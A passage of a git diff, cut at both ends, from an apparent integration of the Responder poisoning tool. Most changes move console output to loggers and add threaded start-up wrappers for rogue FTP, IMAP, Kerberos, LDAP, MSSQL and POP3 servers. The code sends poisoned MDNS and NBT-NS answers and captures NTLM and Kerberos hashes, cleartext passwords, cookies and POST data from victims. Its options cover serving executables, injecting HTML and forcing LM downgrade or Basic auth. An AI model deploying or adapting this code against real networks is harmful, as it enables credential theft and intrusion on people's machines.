{}".format(Finger[0])) + settings.Config.ResponderLogger.info("[FINGER] Client Version: {}".format(Finger[1])) diff --git a/core/poisoners/MDNS.py b/core/poisoners/MDNS.py index a81ef6e..19f1fc9 100644 --- a/core/poisoners/MDNS.py +++ b/core/poisoners/MDNS.py @@ -24,17 +24,15 @@ from SocketServer import BaseRequestHandler, ThreadingMixIn, UDPServer from core.responder.packets import MDNS_Ans from core.responder.utils import * -class MDNS: - - def start(self): - try: - server = ThreadingUDPMDNSServer(('', 5353), MDNSServer) - t = threading.Thread(name='MDNS', target=server.serve_forever) - t.setDaemon(True) - t.start() - except Exception as e: - print "Error starting MDNS server on port 5353" - print_exc() +def start(): + try: + server = ThreadingUDPMDNSServer(('', 5353), MDNSServer) + t = threading.Thread(name='MDNS', target=server.serve_forever) + t.setDaemon(True) + t.start() + except Exception as e: + print "Error starting MDNS server on port 5353" + print_exc() class ThreadingUDPMDNSServer(ThreadingMixIn, UDPServer): @@ -56,12 +54,15 @@ class ThreadingUDPMDNSServer(ThreadingMixIn, UDPServer): UDPServer.server_bind(self) def Parse_MDNS_Name(data): - data = data[12:] - NameLen = struct.unpack('>B',data[0])[0] - Name = data[1:1+NameLen] - NameLen_ = struct.unpack('>B',data[1+NameLen])[0] - Name_ = data[1+NameLen:1+NameLen+NameLen_+1] - return Name+'.'+Name_ + try: + data = data[12:] + NameLen = struct.unpack('>B',data[0])[0] + Name = data[1:1+NameLen] + NameLen_ = struct.unpack('>B',data[1+NameLen])[0] + Name_ = data[1+NameLen:1+NameLen+NameLen_+1] + return Name+'.'+Name_ + except IndexError: + return None def Poisoned_MDNS_Name(data): data = data[12:] @@ -79,14 +80,14 @@ class MDNSServer(BaseRequestHandler): Request_Name = Parse_MDNS_Name(data) # Break out if we don't want to respond to this host - if RespondToThisHost(self.client_address[0], Request_Name) is not True: + if (not Request_Name) or (RespondToThisHost(self.client_address[0], Request_Name) is not True): return None try: # Analyze Mode if settings.Config.AnalyzeMode: if Parse_IPV6_Addr(data): - print text('[Analyze mode: MDNS] Request by %-15s for %s, ignoring' % (color(self.client_address[0], 3), color(Request_Name, 3))) + settings.Config.AnalyzeLogger.warning('[Analyze mode: MDNS] Request by %-15s for %s, ignoring' % (self.client_address[0], Request_Name)) # Poisoning Mode else: @@ -97,7 +98,7 @@ class MDNSServer(BaseRequestHandler): Buffer.calculate() soc.sendto(str(Buffer), (MADDR, MPORT)) - print color('[*] [MDNS] Poisoned answer sent to %-15s for name %s' % (self.client_address[0], Request_Name), 2, 1) + settings.Config.PoisonersLogger.warning('[MDNS] Poisoned answer sent to %-15s for name %s' % (self.client_address[0], Request_Name)) except Exception: raise \ No newline at end of file diff --git a/core/poisoners/NBTNS.py b/core/poisoners/NBTNS.py index 652ca42..c7cc350 100644 --- a/core/poisoners/NBTNS.py +++ b/core/poisoners/NBTNS.py @@ -24,17 +24,15 @@ from core.responder.packets import NBT_Ans from SocketServer import BaseRequestHandler, ThreadingMixIn, UDPServer from core.responder.utils import * -class NBTNS: - - def start(self): - try: - server = ThreadingUDPServer(('', 137), NBTNSServer) - t = threading.Thread(name='NBTNS', target=server.serve_forever) - t.setDaemon(True) - t.start() - except Exception as e: - print "Error starting NBTNS server on port 137" - print_exec() +def start(): + try: + server = ThreadingUDPServer(('', 137), NBTNSServer) + t = threading.Thread(name='NBTNS', target=server.serve_forever) + t.setDaemon(True) + t.start() + except Exception as e: + print "Error starting NBTNS server on port 137" + print_exec() class ThreadingUDPServer(ThreadingMixIn, UDPServer): @@ -88,18 +86,16 @@ class NBTNSServer(BaseRequestHandler): # Analyze Mode if settings.Config.AnalyzeMode: - LineHeader = "[Analyze mode: NBT-NS]" - print color("%s Request by %s for %s, ignoring" % (LineHeader, self.client_address[0], Name), 2, 1) + settings.Config.AnalyzeLogger.warning("[Analyze mode: NBT-NS] Request by %s for %s, ignoring" % (self.client_address[0], Name)) # Poisoning Mode else: Buffer = NBT_Ans() Buffer.calculate(data) socket.sendto(str(Buffer), self.client_address) - LineHeader = "[*] [NBT-NS]" - print color("%s Poisoned answer sent to %s for name %s (service: %s)" % (LineHeader, self.client_address[0], Name, NBT_NS_Role(data[43:46])), 2, 1) + settings.Config.PoisonersLogger.warning("[NBT-NS] Poisoned answer sent to %s for name %s (service: %s)" % (self.client_address[0], Name, NBT_NS_Role(data[43:46]))) if Finger is not None: - print text("[FINGER] OS Version : %s" % color(Finger[0], 3)) - print text("[FINGER] Client Version : %s" % color(Finger[1], 3)) + settings.Config.ResponderLogger.info("[FINGER] OS Version : %s" % Finger[0]) + settings.Config.ResponderLogger.info("[FINGER] Client Version : %s" % Finger[1]) diff --git a/core/responder/fingerprint.py b/core/responder/fingerprint.py index 24432a5..fb6add0 100644 --- a/core/responder/fingerprint.py +++ b/core/responder/fingerprint.py @@ -64,5 +64,5 @@ def RunSmbFinger(host): if data[8:10] == "\x73\x16": return OsNameClientVersion(data) except: - print color("[!] ", 1, 1) +" Fingerprint failed" + settings.Config.AnalyzeLogger.warning("Fingerprint failed for host: {}".format(host)) return None diff --git a/core/responder/settings.py b/core/responder/settings.py index 2d9b51a..4010176 100644 --- a/core/responder/settings.py +++ b/core/responder/settings.py @@ -19,6 +19,8 @@ import sys import socket import utils import logging + +from core.logger import logger from core.configwatcher import ConfigWatcher __version__ = 'Responder 2.2' @@ -114,15 +116,16 @@ class Settings(ConfigWatcher): self.Serve_Always = self.toBool(self.config['Responder']['HTTP Server']['Serve-Always']) self.Serve_Html = self.toBool(self.config['Responder']['HTTP Server']['Serve-Html']) self.Html_Filename = self.config['Responder']['HTTP Server']['HtmlFilename'] + self.HtmlToInject = self.config['Responder']['HTTP Server']['HTMLToInject'] self.Exe_Filename = self.config['Responder']['HTTP Server']['ExeFilename'] self.Exe_DlName = self.config['Responder']['HTTP Server']['ExeDownloadName'] self.WPAD_Script = self.config['Responder']['HTTP Server']['WPADScript'] if not os.path.exists(self.Html_Filename): - print utils.color("/!\ Warning: %s: file not found" % self.Html_Filename, 3, 1) + print "Warning: %s: file not found" % self.Html_Filename if not os.path.exists(self.Exe_Filename): - print utils.color("/!\ Warning: %s: file not found" % self.Exe_Filename, 3, 1) + print "Warning: %s: file not found" % self.Exe_Filename # SSL Options self.SSLKey = self.config['Responder']['HTTPS Server']['SSLKey'] @@ -146,8 +149,9 @@ class Settings(ConfigWatcher): self.AnalyzeMode = options.analyze #self.Upstream_Proxy = options.Upstream_Proxy - self.Verbose = True - self.CommandLine = str(sys.argv) + self.Verbose = False + if options.log_level == 'debug': + self.Verbose = True self.Bind_To = utils.FindLocalIP(self.Interface) @@ -158,7 +162,7 @@ class Settings(ConfigWatcher): self.NumChal = self.config['Responder']['Challenge'] if len(self.NumChal) is not 16: - print utils.color("[!] The challenge must be exactly 16 chars long.\nExample: 1122334455667788", 1) + print "The challenge must be exactly 16 chars long.\nExample: 1122334455667788" sys.exit(-1) self.Challenge = "" @@ -166,23 +170,12 @@ class Settings(ConfigWatcher): self.Challenge += self.NumChal[i:i+2].decode("hex") # Set up logging - logging.basicConfig(filename=self.SessionLogFile, level=logging.INFO, format='%(asctime)s - %(message)s', datefmt='%Y-%m-%d %H:%M:%S') - logging.warning('Responder Started: {}'.format(self.CommandLine)) + formatter = logging.Formatter("%(asctime)s %(message)s", datefmt="%Y-%m-%d %H:%M:%S") + self.ResponderLogger = logger().setup_logger("Responder", formatter, self.SessionLogFile) + #logging.warning('Responder Started: {}'.format(self.CommandLine)) #logging.warning('Responder Config: {}'.format(self)) - Formatter = logging.Formatter('%(asctime)s - %(message)s') - PLog_Handler = logging.FileHandler(self.PoisonersLogFile, 'w') - ALog_Handler = logging.FileHandler(self.AnalyzeLogFile, 'a') - PLog_Handler.setLevel(logging.INFO) - ALog_Handler.setLevel(logging.INFO) - PLog_Handler.setFormatter(Formatter) - ALog_Handler.setFormatter(Formatter) + self.PoisonersLogger = logger().setup_logger("Poison log", formatter, self.PoisonersLogFile) + self.AnalyzeLogger = logger().setup_logger("Analyze Log", formatter, self.AnalyzeLogFile) - self.PoisonersLogger = logging.getLogger('Poisoners Log') - self.PoisonersLogger.addHandler(PLog_Handler) - - self.AnalyzeLogger = logging.getLogger('Analyze Log') - self.AnalyzeLogger.addHandler(ALog_Handler) - -global Config Config = Settings() \ No newline at end of file diff --git a/core/responder/utils.py b/core/responder/utils.py index 1da7508..78ed44a 100644 --- a/core/responder/utils.py +++ b/core/responder/utils.py @@ -21,34 +21,7 @@ import logging import socket import time import settings - -try: - import sqlite3 -except: - print "[!] Please install python-sqlite3 extension." - sys.exit(0) - -def color(txt, code = 1, modifier = 0): - - if txt.startswith('[*]'): - settings.Config.PoisonersLogger.warning(txt) - - elif 'Analyze' in txt: - settings.Config.AnalyzeLogger.warning(txt) - - # No colors for windows... - if os.name == 'nt': - return txt - - return "\033[%d;3%dm%s\033[0m" % (modifier, code, txt) - -def text(txt): - logging.info(txt) - - if os.name == 'nt': - return txt - - return '\r'+re.sub(r'\[([^]]*)\]', "\033[1;34m[\\1]\033[0m", txt) +import sqlite3 def RespondToThisIP(ClientIp): @@ -102,13 +75,12 @@ def FindLocalIP(Iface): return ret except socket.error: - print color("[!] Error: %s: Interface not found" % Iface, 1) sys.exit(-1) # Function used to write captured hashs to a file. def WriteData(outfile, data, user): - logging.info("[*] Captured Hash: %s" % data) + settings.Config.ResponderLogger.info("[*] Captured Hash: %s" % data) if os.path.isfile(outfile) == False: with open(outfile,"w") as outf: @@ -176,23 +148,22 @@ def SaveToDb(result): if count == 0 or settings.Config.Verbose: if len(result['client']): - print text("[%s] %s Client : %s" % (result['module'], result['type'], color(result['client'], 3))) + settings.Config.ResponderLogger.info("[%s] %s Client : %s" % (result['module'], result['type'], result['client'])) if len(result['hostname']): - print text("[%s] %s Hostname : %s" % (result['module'], result['type'], color(result['hostname'], 3))) + settings.Config.ResponderLogger.info("[%s] %s Hostname : %s" % (result['module'], result['type'], result['hostname'])) if len(result['user']): - print text("[%s] %s Username : %s" % (result['module'], result['type'], color(result['user'], 3))) - - # Bu order of priority, print cleartext, fullhash, or hash - if len(result['cleartext']): - print text("[%s] %s Password : %s" % (result['module'], result['type'], color(result['cleartext'], 3))) - elif len(result['fullhash']): - print text("[%s] %s Hash : %s" % (result['module'], result['type'], color(result['fullhash'], 3))) - elif len(result['hash']): - print text("[%s] %s Hash : %s" % (result['module'], result['type'], color(result['hash'], 3))) - - else: - print color('[*]', 2, 1), 'Skipping previously captured hash for %s' % result['user'] + settings.Config.ResponderLogger.info("[%s] %s Username : %s" % (result['module'], result['type'], result['user'])) + # By order of priority, print cleartext, fullhash, or hash + if len(result['cleartext']): + settings.Config.ResponderLogger.info("[%s] %s Password : %s" % (result['module'], result['type'], result['cleartext'])) + elif len(result['fullhash']): + settings.Config.ResponderLogger.info("[%s] %s Hash : %s" % (result['module'], result['type'], result['fullhash'])) + elif len(result['hash']): + settings.Config.ResponderLogger.info("[%s] %s Hash : %s" % (result['module'], result['type'], result['hash'])) + + else: + settings.Config.PoisonersLogger.warning('Skipping previously captured hash for %s' % result['user']) def Parse_IPV6_Addr(data): @@ -238,88 +209,6 @@ def NBT_NS_Role(data): return Role[data] if data in Role else "Service not known" -def banner(): - - banner = "\n".join([ - ' __', - ' .----.-----.-----.-----.-----.-----.--| |.-----.----.', - ' | _| -__|__ --| _ | _ | | _ || -__| _|', - ' |__| |_____|_____| __|_____|__|__|_____||_____|__|', - ' |__|' - ]) - - print banner - print "\n \033[1;33mNBT-NS, LLMNR & MDNS %s\033[0m" % settings.__version__ - print "" - print " Original work by Laurent Gaffie (lgaffie@trustwave.com)" - print " To kill this script hit CRTL-C" - print "" - -def StartupMessage(): - enabled = color('[ON]', 2, 1) - disabled = color('[OFF]', 1, 1) - - print "" - print color("[+] ", 2, 1) + "Poisoners:" - print ' %-27s' % "LLMNR" + enabled - print ' %-27s' % "NBT-NS" + enabled - print ' %-27s' % "DNS/MDNS" + enabled - print "" - - print color("[+] ", 2, 1) + "Servers:" - print ' %-27s' % "HTTP server" + (enabled if settings.Config.HTTP_On_Off else disabled) - print ' %-27s' % "HTTPS server" + (enabled if settings.Config.SSL_On_Off else disabled) - print ' %-27s' % "WPAD proxy" + (enabled if settings.Config.WPAD_On_Off else disabled) - print ' %-27s' % "SMB server" + (enabled if settings.Config.SMB_On_Off else disabled) - print ' %-27s' % "Kerberos server" + (enabled if settings.Config.Krb_On_Off else disabled) - print ' %-27s' % "SQL server" + (enabled if settings.Config.SQL_On_Off else disabled) - print ' %-27s' % "FTP server" + (enabled if settings.Config.FTP_On_Off else disabled) - print ' %-27s' % "IMAP server" + (enabled if settings.Config.IMAP_On_Off else disabled) - print ' %-27s' % "POP3 server" + (enabled if settings.Config.POP_On_Off else disabled) - print ' %-27s' % "SMTP server" + (enabled if settings.Config.SMTP_On_Off else disabled) - print ' %-27s' % "DNS server" + (enabled if settings.Config.DNS_On_Off else disabled) - print ' %-27s' % "LDAP server" + (enabled if settings.Config.LDAP_On_Off else disabled) - print "" - - print color("[+] ", 2, 1) + "HTTP Options:" - print ' %-27s' % "Always serving EXE" + (enabled if settings.Config.Serve_Always else disabled) - print ' %-27s' % "Serving EXE" + (enabled if settings.Config.Serve_Exe else disabled) - print ' %-27s' % "Serving HTML" + (enabled if settings.Config.Serve_Html else disabled) - print ' %-27s' % "Upstream Proxy" + (enabled if settings.Config.Upstream_Proxy else disabled) - #print ' %-27s' % "WPAD script" + settings.Config.WPAD_Script - print "" - - print color("[+] ", 2, 1) + "Poisoning Options:" - print ' %-27s' % "Analyze Mode" + (enabled if settings.Config.AnalyzeMode else disabled) - print ' %-27s' % "Force WPAD auth" + (enabled if settings.Config.Force_WPAD_Auth else disabled) - print ' %-27s' % "Force Basic Auth" + (enabled if settings.Config.Basic else disabled) - print ' %-27s' % "Force LM downgrade" + (enabled if settings.Config.LM_On_Off == True else disabled) - print ' %-27s' % "Fingerprint hosts" + (enabled if settings.Config.Finger_On_Off == True else disabled) - print "" - - print color("[+] ", 2, 1) + "Generic Options:" - print ' %-27s' % "Responder NIC" + color('[%s]' % settings.Config.Interface, 5, 1) - print ' %-27s' % "Responder IP" + color('[%s]' % settings.Config.Bind_To, 5, 1) - print ' %-27s' % "Challenge set" + color('[%s]' % settings.Config.NumChal, 5, 1) - - if settings.Config.Upstream_Proxy: - print ' %-27s' % "Upstream Proxy" + color('[%s]' % settings.Config.Upstream_Proxy, 5, 1) - - if len(settings.Config.RespondTo): - print ' %-27s' % "Respond To" + color(str(settings.Config.RespondTo), 5, 1) - - if len(settings.Config.RespondToName): - print ' %-27s' % "Respond To Names" + color(str(settings.Config.RespondToName), 5, 1) - - if len(settings.Config.DontRespondTo): - print ' %-27s' % "Don't Respond To" + color(str(settings.Config.DontRespondTo), 5, 1) - - if len(settings.Config.DontRespondToName): - print ' %-27s' % "Don't Respond To Names" + color(str(settings.Config.DontRespondToName), 5, 1) - - print "" - print "" - # Useful for debugging def hexdump(src, l=0x16): res = [] diff --git a/core/servers/Browser.py b/core/servers/Browser.py index a6aad30..c9840b6 100644 --- a/core/servers/Browser.py +++ b/core/servers/Browser.py @@ -87,15 +87,15 @@ def ParsePacket(Payload): def RAPThisDomain(Client,Domain): PDC = RapFinger(Client,Domain,"\x00\x00\x00\x80") if PDC is not None: - print text("[LANMAN] Detected Domains: %s" % ', '.join(PDC)) + settings.Config.ResponderLogger.info("[LANMAN] Detected Domains: %s" % ', '.join(PDC)) SQL = RapFinger(Client,Domain,"\x04\x00\x00\x00") if SQL is not None: - print text("[LANMAN] Detected SQL Servers on domain %s: %s" % (Domain, ', '.join(SQL))) + settings.Config.ResponderLogger.info("[LANMAN] Detected SQL Servers on domain %s: %s" % (Domain, ', '.join(SQL))) WKST = RapFinger(Client,Domain,"\xff\xff\xff\xff") if WKST is not None: - print text("[LANMAN] Detected Workstations/Servers on domain %s: %s" % (Domain, ', '.join(WKST))) + settings.Config.ResponderLogger.info("[LANMAN] Detected Workstations/Servers on domain %s: %s" % (Domain, ', '.join(WKST))) def RapFinger(Host, Domain, Type): try: @@ -169,7 +169,7 @@ def BecomeBackup(data,Client): Role = NBT_NS_Role(data[45:48]) if settings.Config.AnalyzeMode: - print text("[Analyze mode: Browser] Datagram Request from IP: %s hostname: %s via the: %s wants to become a Local Master Browser Backup on this domain: %s."%(Client, Name,Role,Domain)) + settings.Config.AnalyzeLogger.warning("[Analyze mode: Browser] Datagram Request from IP: %s hostname: %s via the: %s wants to become a Local Master Browser Backup on this domain: %s."%(Client, Name,Role,Domain)) print RAPThisDomain(Client, Domain) except: @@ -184,7 +184,7 @@ def ParseDatagramNBTNames(data,Client): if Role2 == "Domain Controller" or Role2 == "Browser Election" or Role2 == "Local Master Browser" and settings.Config.AnalyzeMode: - print text('[Analyze mode: Browser] Datagram Request from IP: %s hostname: %s via the: %s to: %s. Service: %s' % (Client, Name, Role1, Domain, Role2)) + settings.Config.AnalyzeLogger.warning('[Analyze mode: Browser] Datagram Request from IP: %s hostname: %s via the: %s to: %s. Service: %s' % (Client, Name, Role1, Domain, Role2)) print RAPThisDomain(Client, Domain) except: pass diff --git a/core/servers/FTP.py b/core/servers/FTP.py index 9e0d592..845e3fd 100644 --- a/core/servers/FTP.py +++ b/core/servers/FTP.py @@ -15,12 +15,41 @@ # You should have received a copy of the GNU General Public License # along with this program. If not, see . import os +import threading -from core.utils import * -from SocketServer import BaseRequestHandler -from core.packets import FTPPacket +from core.responder.utils import * +from SocketServer import BaseRequestHandler, ThreadingMixIn, TCPServer +from core.responder.packets import FTPPacket -class FTP(BaseRequestHandler): +class FTP: + + def start(self): + try: + if OsInterfaceIsSupported(): + server = ThreadingTCPServer((settings.Config.Bind_To, 21), FTP1) + else: + server = ThreadingTCPServer(('', 21), FTP1) + + t = threading.Thread(name='SMB', target=server.serve_forever) + t.setDaemon(True) + t.start() + except Exception as e: + print "Error starting SMB server: {}".format(e) + print_exc() + +class ThreadingTCPServer(ThreadingMixIn, TCPServer): + + allow_reuse_address = 1 + + def server_bind(self): + if OsInterfaceIsSupported(): + try: + self.socket.setsockopt(socket.SOL_SOCKET, 25, settings.Config.Bind_To+'\0') + except: + pass + TCPServer.server_bind(self) + +class FTP1(BaseRequestHandler): def handle(self): try: self.request.send(str(FTPPacket())) diff --git a/core/servers/HTTP.py b/core/servers/HTTP.py index ade76cf..1765f6b 100644 --- a/core/servers/HTTP.py +++ b/core/servers/HTTP.py @@ -24,10 +24,14 @@ from SocketServer import BaseServer, BaseRequestHandler, StreamRequestHandler, T from base64 import b64decode, b64encode from core.responder.utils import * +from core.logger import logger from core.responder.packets import NTLM_Challenge from core.responder.packets import IIS_Auth_401_Ans, IIS_Auth_Granted, IIS_NTLM_Challenge_Ans, IIS_Basic_401_Ans from core.responder.packets import WPADScript, ServeExeFile, ServeHtmlFile +formatter = logging.Formatter("%(asctime)s %(message)s", datefmt="%Y-%m-%d %H:%M:%S") +log = logger().setup_logger("HTTP", formatter) + class HTTP: def start(self): @@ -113,7 +117,7 @@ def GrabCookie(data, host): if Cookie: Cookie = Cookie.group(0).replace('Cookie: ', '') if len(Cookie) > 1 and settings.Config.Verbose: - print text("[HTTP] Cookie : %s " % Cookie) + log.info("[HTTP] Cookie : {}".format(Cookie)) return Cookie else: return False @@ -124,7 +128,7 @@ def GrabHost(data, host): if Host: Host = Host.group(0).replace('Host: ', '') if settings.Config.Verbose: - print text("[HTTP] Host : %s " % color(Host, 3)) + log.info("[HTTP] Host : {}".format(Host, 3)) return Host else: return False @@ -152,7 +156,7 @@ def RespondWithFile(client, filename, dlname=None): Buffer = ServeHtmlFile(Payload = ServeFile(filename)) Buffer.calculate() - print text("[HTTP] Sending file %s to %s" % (filename, client)) + log.info("[HTTP] Sending file {} to {}".format(filename, client)) return str(Buffer) @@ -161,13 +165,13 @@ def GrabURL(data, host): POST = re.findall('(?<=POST )[^HTTP]*', data) POSTDATA = re.findall('(?<=\r\n\r\n)[^*]*', data) - if GET and settings.Config.Verbose: - print text("[HTTP] GET request from: %-15s URL: %s" % (host, color(''.join(GET), 5))) + if GET: + log.info("[HTTP] GET request from: {} URL: {}".format(host, ''.join(GET))) - if POST and settings.Config.Verbose: - print text("[HTTP] POST request from: %-15s URL: %s" % (host, color(''.join(POST), 5))) + if POST: + log.info("[HTTP] POST request from: {} URL: {}".format(host, ''.join(POST))) if len(''.join(POSTDATA)) > 2: - print text("[HTTP] POST Data: %s" % ''.join(POSTDATA).strip()) + log.info("[HTTP] POST Data: {}".format(''.join(POSTDATA).strip())) # Handle HTTP packet sequence. def PacketSequence(data, client): @@ -205,7 +209,7 @@ def PacketSequence(data, client): ParseHTTPHash(NTLM_Auth, client) if settings.Config.Force_WPAD_Auth and WPAD_Custom: - print text("[HTTP] WPAD (auth) file sent to %s" % client) + log.info("[HTTP] WPAD (auth) file sent to %s" % client) return WPAD_Custom else: @@ -230,7 +234,7 @@ def PacketSequence(data, client): if settings.Config.Force_WPAD_Auth and WPAD_Custom: if settings.Config.Verbose: - print text("[HTTP] WPAD (auth) file sent to %s" % client) + log.info("[HTTP] WPAD (auth) file sent to %s" % client) return WPAD_Custom else: @@ -242,12 +246,12 @@ def PacketSequence(data, client): if settings.Config.Basic == True: Response = IIS_Basic_401_Ans() if settings.Config.Verbose: - print text("[HTTP] Sending BASIC authentication request to %s" % client) + log.info("[HTTP] Sending BASIC authentication request to %s" % client) else: Response = IIS_Auth_401_Ans() if settings.Config.Verbose: - print text("[HTTP] Sending NTLM authentication request to %s" % client) + log.info("[HTTP] Sending NTLM authentication request to %s" % client) return str(Response) @@ -265,7 +269,7 @@ class HTTP1(BaseRequestHandler): if Buffer and settings.Config.Force_WPAD_Auth == False: self.request.send(Buffer) if settings.Config.Verbose: - print text("[HTTP] WPAD (no auth) file sent to %s" % self.client_address[0]) + log.info("[HTTP] WPAD (no auth) file sent to %s" % self.client_address[0]) else: Buffer = PacketSequence(data,self.client_address[0]) @@ -290,7 +294,7 @@ class HTTPS(StreamRequestHandler): if Buffer and settings.Config.Force_WPAD_Auth == False: self.exchange.send(Buffer) if settings.Config.Verbose: - print text("[HTTPS] WPAD (no auth) file sent to %s" % self.client_address[0]) + log.info("[HTTPS] WPAD (no auth) file sent to %s" % self.client_address[0]) else: Buffer = PacketSequence(data,self.client_address[0]) diff --git a/core/servers/IMAP.py b/core/servers/IMAP.py index c0ae12b..ac2d762 100644 --- a/core/servers/IMAP.py +++ b/core/servers/IMAP.py @@ -15,14 +15,43 @@ # You should have received a copy of the GNU General Public License # along with this program. If not, see . import os -import settings +import core.responder.settings as settings +import threading -from utils import * -from SocketServer import BaseRequestHandler -from packets import IMAPGreeting, IMAPCapability, IMAPCapabilityEnd +from core.responder.utils import * +from SocketServer import BaseRequestHandler, ThreadingMixIn, TCPServer +from core.responder.packets import IMAPGreeting, IMAPCapability, IMAPCapabilityEnd + +class IMAP: + + def start(self): + try: + if OsInterfaceIsSupported(): + server = ThreadingTCPServer((settings.Config.Bind_To, 143), IMAP4) + else: + server = ThreadingTCPServer(('', 143), IMAP4) + + t = threading.Thread(name='IMAP', target=server.serve_forever) + t.setDaemon(True) + t.start() + except Exception as e: + print "Error starting IMAP server: {}".format(e) + print_exc() + +class ThreadingTCPServer(ThreadingMixIn, TCPServer): + + allow_reuse_address = 1 + + def server_bind(self): + if OsInterfaceIsSupported(): + try: + self.socket.setsockopt(socket.SOL_SOCKET, 25, settings.Config.Bind_To+'\0') + except: + pass + TCPServer.server_bind(self) # IMAP4 Server class -class IMAP(BaseRequestHandler): +class IMAP4(BaseRequestHandler): def handle(self): try: diff --git a/core/servers/Kerberos.py b/core/servers/Kerberos.py index b3ac4bf..1ff545e 100644 --- a/core/servers/Kerberos.py +++ b/core/servers/Kerberos.py @@ -16,144 +16,189 @@ # along with this program. If not, see . import os import struct -import settings +import core.responder.settings as settings +import threading +from traceback import print_exc -from SocketServer import BaseRequestHandler -from utils import * +from SocketServer import BaseRequestHandler, ThreadingMixIn, TCPServer, UDPServer +from core.responder.utils import * + +class Kerberos: + + def start(self): + try: + if OsInterfaceIsSupported(): + server1 = ThreadingTCPServer((settings.Config.Bind_To, 88), KerbTCP) + server2 = ThreadingUDPServer((settings.Config.Bind_To, 88), KerbUDP) + else: + server1 = ThreadingTCPServer(('', 88), KerbTCP) + server2 = ThreadingUDPServer(('', 88), KerbUDP) + + for server in [server1, server2]: + t = threading.Thread(name='Kerberos', target=server.serve_forever) + t.setDaemon(True) + t.start() + except Exception as e: + print "Error starting Kerberos server: {}".format(e) + print_exc() + +class ThreadingTCPServer(ThreadingMixIn, TCPServer): + + allow_reuse_address = 1 + + def server_bind(self): + if OsInterfaceIsSupported(): + try: + self.socket.setsockopt(socket.SOL_SOCKET, 25, settings.Config.Bind_To+'\0') + except: + pass + TCPServer.server_bind(self) + +class ThreadingUDPServer(ThreadingMixIn, UDPServer): + + allow_reuse_address = 1 + + def server_bind(self): + if OsInterfaceIsSupported(): + try: + self.socket.setsockopt(socket.SOL_SOCKET, 25, settings.Config.Bind_To+'\0') + except: + pass + UDPServer.server_bind(self) def ParseMSKerbv5TCP(Data): - MsgType = Data[21:22] - EncType = Data[43:44] - MessageType = Data[32:33] + MsgType = Data[21:22] + EncType = Data[43:44] + MessageType = Data[32:33] - if MsgType == "\x0a" and EncType == "\x17" and MessageType =="\x02": - if Data[49:53] == "\xa2\x36\x04\x34" or Data[49:53] == "\xa2\x35\x04\x33": - HashLen = struct.unpack('. import os import struct -import settings +import core.responder.settings as settings +import threading +from traceback import print_exc -from SocketServer import BaseRequestHandler -from packets import LDAPSearchDefaultPacket, LDAPSearchSupportedCapabilitiesPacket, LDAPSearchSupportedMechanismsPacket, LDAPNTLMChallenge -from utils import * +from SocketServer import BaseRequestHandler, ThreadingMixIn, TCPServer +from core.responder.packets import LDAPSearchDefaultPacket, LDAPSearchSupportedCapabilitiesPacket, LDAPSearchSupportedMechanismsPacket, LDAPNTLMChallenge +from core.responder.utils import * + +class LDAP: + + def start(self): + try: + if OsInterfaceIsSupported(): + server = ThreadingTCPServer((settings.Config.Bind_To, 389), LDAPServer) + else: + server = ThreadingTCPServer(('', 389), LDAPServer) + + t = threading.Thread(name='LDAP', target=server.serve_forever) + t.setDaemon(True) + t.start() + except Exception as e: + print "Error starting LDAP server: {}".format(e) + print_exc() + +class ThreadingTCPServer(ThreadingMixIn, TCPServer): + + allow_reuse_address = 1 + + def server_bind(self): + if OsInterfaceIsSupported(): + try: + self.socket.setsockopt(socket.SOL_SOCKET, 25, settings.Config.Bind_To+'\0') + except: + pass + TCPServer.server_bind(self) def ParseSearch(data): Search1 = re.search('(objectClass)', data) @@ -66,7 +96,7 @@ def ParseLDAPHash(data, client): }) if LMhashLen < 2 and settings.Config.Verbose: - print text("[LDAP] Ignoring anonymous NTLM authentication") + settings.Config.ResponderLogger.info("[LDAP] Ignoring anonymous NTLM authentication") def ParseNTLM(data,client): Search1 = re.search('(NTLMSSP\x00\x01\x00\x00\x00)', data) @@ -119,10 +149,10 @@ def ParseLDAPPacket(data, client): else: if settings.Config.Verbose: - print text('[LDAP] Operation not supported') + settings.Config.ResponderLogger.info('[LDAP] Operation not supported') # LDAP Server class -class LDAP(BaseRequestHandler): +class LDAPServer(BaseRequestHandler): def handle(self): try: while True: diff --git a/core/servers/MSSQL.py b/core/servers/MSSQL.py index ab708c8..61bfb4b 100644 --- a/core/servers/MSSQL.py +++ b/core/servers/MSSQL.py @@ -16,11 +16,40 @@ # along with this program. If not, see . import os import struct -import settings +import core.responder.settings as settings +import threading -from SocketServer import BaseRequestHandler -from packets import MSSQLPreLoginAnswer, MSSQLNTLMChallengeAnswer -from utils import * +from SocketServer import BaseRequestHandler, ThreadingMixIn, TCPServer +from core.responder.packets import MSSQLPreLoginAnswer, MSSQLNTLMChallengeAnswer +from core.responder.utils import * + +class MSSQL: + + def start(self): + try: + if OsInterfaceIsSupported(): + server = ThreadingTCPServer((settings.Config.Bind_To, 1433), MSSQLServer) + else: + server = ThreadingTCPServer(('', 1433), MSSQLServer) + + t = threading.Thread(name='MSSQL', target=server.serve_forever) + t.setDaemon(True) + t.start() + except Exception as e: + print "Error starting MSSQL server: {}".format(e) + print_exc() + +class ThreadingTCPServer(ThreadingMixIn, TCPServer): + + allow_reuse_address = 1 + + def server_bind(self): + if OsInterfaceIsSupported(): + try: + self.socket.setsockopt(socket.SOL_SOCKET, 25, settings.Config.Bind_To+'\0') + except: + pass + TCPServer.server_bind(self) class TDS_Login_Packet(): def __init__(self, data): @@ -119,11 +148,11 @@ def ParseClearTextSQLPass(data, client): }) # MSSQL Server class -class MSSQL(BaseRequestHandler): +class MSSQLServer(BaseRequestHandler): def handle(self): if settings.Config.Verbose: - print text("[MSSQL] Received connection from %s" % self.client_address[0]) + settings.Config.ResponderLogger.info("[MSSQL] Received connection from %s" % self.client_address[0]) try: while True: diff --git a/core/servers/POP3.py b/core/servers/POP3.py index 5bdfa7e..5a142f7 100644 --- a/core/servers/POP3.py +++ b/core/servers/POP3.py @@ -15,14 +15,44 @@ # You should have received a copy of the GNU General Public License # along with this program. If not, see . import os -import settings +import core.responder.settings as settings +import threading +from traceback import print_exc -from utils import * -from SocketServer import BaseRequestHandler -from packets import POPOKPacket +from core.responder.utils import * +from SocketServer import BaseRequestHandler, ThreadingMixIn, TCPServer +from core.responder.packets import POPOKPacket + +class POP3: + + def start(self): + try: + if OsInterfaceIsSupported(): + server = ThreadingTCPServer((settings.Config.Bind_To, 110), POP3Server) + else: + server = ThreadingTCPServer(('', 110), POP3Server) + + t = threading.Thread(name='POP3', target=server.serve_forever) + t.setDaemon(True) + t.start() + except Exception as e: + print "Error starting POP3 server: {}".format(e) + print_exc() + +class 